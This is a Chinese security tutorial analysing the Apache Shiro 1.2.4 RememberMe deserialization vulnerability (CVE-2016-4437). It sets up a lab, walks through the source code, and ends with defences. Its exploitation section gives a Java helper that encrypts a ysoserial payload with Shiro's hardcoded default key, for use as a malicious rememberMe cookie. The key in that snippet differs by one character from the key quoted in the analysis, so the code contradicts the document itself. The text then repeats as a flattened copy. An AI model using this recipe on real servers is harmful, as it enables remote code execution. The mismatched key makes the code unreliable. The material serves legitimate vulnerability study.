深入探究Shrio反序列化漏洞
字数 1348 2025-08-18 17:33:16

Apache Shiro 反序列化漏洞(CVE-2016-4437)深入分析与利用指南

1. 漏洞概述

漏洞编号: CVE-2016-4437
漏洞名称: Shiro-550反序列化漏洞
影响版本: Apache Shiro 1.2.4及之前版本
漏洞类型: 反序列化远程代码执行
CVSS评分: 9.8 (Critical)

漏洞原理

Shiro框架的RememberMe功能存在反序列化漏洞,攻击者可以通过构造恶意的序列化对象,利用默认加密密钥进行加密后作为RememberMe字段发送,服务器在解密和反序列化过程中执行恶意代码。

2. 漏洞环境搭建

2.1 环境准备

  1. 下载Shiro 1.2.4源码:

    https://github.com/apache/shiro/tree/shiro-root-1.2.4
    
  2. 修改pom.xml文件:

    • 将jstl依赖版本改为1.2
  3. 使用IDEA导入Maven项目

2.2 运行配置

  1. 设置运行配置为Tomcat本地服务器
  2. JRE选择Java 8版本
  3. 部署工件选择samples-web:war
  4. 启动后访问http://localhost:8080/samples_web_war/login.jsp

3. 漏洞分析

3.1 漏洞触发流程

  1. 用户登录时勾选"Remember Me"
  2. 服务器返回包含rememberMe字段的Cookie
  3. 攻击者构造恶意序列化对象,使用默认密钥加密后替换rememberMe
  4. 服务器接收后解密并反序列化,执行恶意代码

3.2 关键代码分析

3.2.1 解密流程

Shiro对RememberMe字段进行三层处理:

  1. Base64解码

    byte[] decoded = Base64.decode(base64);
    
  2. AES解密

    bytes = decrypt(bytes);  // 使用默认密钥解密
    
  3. 反序列化

    return deserialize(bytes);  // 最终触发反序列化漏洞
    

3.2.2 默认密钥问题

AbstractRememberMeManager类的构造方法中:

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);  // 使用硬编码密钥
}

默认密钥定义:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = 
    Base64.decode("kPH+bIzk5D2deZiIxcaaaA==");

3.2.3 反序列化点

最终反序列化发生在DefaultSerializer类的deserialize方法中:

public T deserialize(byte[] serialized) throws SerializationException {
    // ...
    ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
    T deserialized = (T) ois.readObject();  // 反序列化漏洞触发点
    // ...
}

4. 漏洞利用

4.1 漏洞检测

  1. 访问登录页面并勾选"Remember Me"
  2. 抓包观察响应中是否包含rememberMe字段
  3. 尝试使用默认密钥加密payload发送

4.2 利用步骤

  1. 生成恶意序列化payload(使用ysoserial等工具)
  2. 使用Shiro默认密钥加密payload
  3. 将加密结果Base64编码后作为rememberMe值发送

4.3 利用代码示例

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.*;

public class ShiroExploit {
    public static void main(String[] args) throws Exception {
        // 读取ysoserial生成的payload
        byte[] payloads = Files.readAllBytes(Paths.get("./payload.bin"));
        
        // 使用Shiro默认密钥加密
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
        ByteSource ciphertext = aes.encrypt(payloads, key);
        
        System.out.println(ciphertext.toString());  // 输出加密后的payload
    }
}

5. 防御措施

  1. 升级Shiro版本: 升级到1.2.5及以上版本,使用随机生成的密钥
  2. 自定义加密密钥: 在配置中设置自定义的cipherKey
    securityManager.rememberMeManager.cipherKey = your_random_key_here
    
  3. 禁用RememberMe功能: 如不需要,可完全禁用该功能
  4. 反序列化防护: 使用反序列化过滤器或白名单机制

6. 相关工具

  1. ysoserial: 生成Java反序列化payload
  2. ShiroExploit: 自动化利用工具
  3. BurpSuite插件: Shiro反序列化检测插件

7. 参考链接

  1. Apache Shiro官方文档
  2. CVE-2016-4437漏洞公告
  3. Shiro源码分析文章

本教学文档详细分析了Shiro反序列化漏洞的原理、利用方式和防御措施,关键点包括默认密钥问题、三层解密流程和最终反序列化触发点。通过理解这些核心概念,安全研究人员可以更好地检测和防御此类漏洞。

Apache Shiro 反序列化漏洞(CVE-2016-4437)深入分析与利用指南 1. 漏洞概述 漏洞编号 : CVE-2016-4437 漏洞名称 : Shiro-550反序列化漏洞 影响版本 : Apache Shiro 1.2.4及之前版本 漏洞类型 : 反序列化远程代码执行 CVSS评分 : 9.8 (Critical) 漏洞原理 Shiro框架的RememberMe功能存在反序列化漏洞,攻击者可以通过构造恶意的序列化对象,利用默认加密密钥进行加密后作为RememberMe字段发送,服务器在解密和反序列化过程中执行恶意代码。 2. 漏洞环境搭建 2.1 环境准备 下载Shiro 1.2.4源码: 修改pom.xml文件: 将jstl依赖版本改为1.2 使用IDEA导入Maven项目 2.2 运行配置 设置运行配置为Tomcat本地服务器 JRE选择Java 8版本 部署工件选择 samples-web:war 启动后访问 http://localhost:8080/samples_web_war/login.jsp 3. 漏洞分析 3.1 漏洞触发流程 用户登录时勾选"Remember Me" 服务器返回包含 rememberMe 字段的Cookie 攻击者构造恶意序列化对象,使用默认密钥加密后替换 rememberMe 值 服务器接收后解密并反序列化,执行恶意代码 3.2 关键代码分析 3.2.1 解密流程 Shiro对RememberMe字段进行三层处理: Base64解码 AES解密 反序列化 3.2.2 默认密钥问题 在 AbstractRememberMeManager 类的构造方法中: 默认密钥定义: 3.2.3 反序列化点 最终反序列化发生在 DefaultSerializer 类的 deserialize 方法中: 4. 漏洞利用 4.1 漏洞检测 访问登录页面并勾选"Remember Me" 抓包观察响应中是否包含 rememberMe 字段 尝试使用默认密钥加密payload发送 4.2 利用步骤 生成恶意序列化payload(使用ysoserial等工具) 使用Shiro默认密钥加密payload 将加密结果Base64编码后作为 rememberMe 值发送 4.3 利用代码示例 5. 防御措施 升级Shiro版本 : 升级到1.2.5及以上版本,使用随机生成的密钥 自定义加密密钥 : 在配置中设置自定义的 cipherKey 禁用RememberMe功能 : 如不需要,可完全禁用该功能 反序列化防护 : 使用反序列化过滤器或白名单机制 6. 相关工具 ysoserial : 生成Java反序列化payload ShiroExploit : 自动化利用工具 BurpSuite插件 : Shiro反序列化检测插件 7. 参考链接 Apache Shiro官方文档 CVE-2016-4437漏洞公告 Shiro源码分析文章 本教学文档详细分析了Shiro反序列化漏洞的原理、利用方式和防御措施,关键点包括默认密钥问题、三层解密流程和最终反序列化触发点。通过理解这些核心概念,安全研究人员可以更好地检测和防御此类漏洞。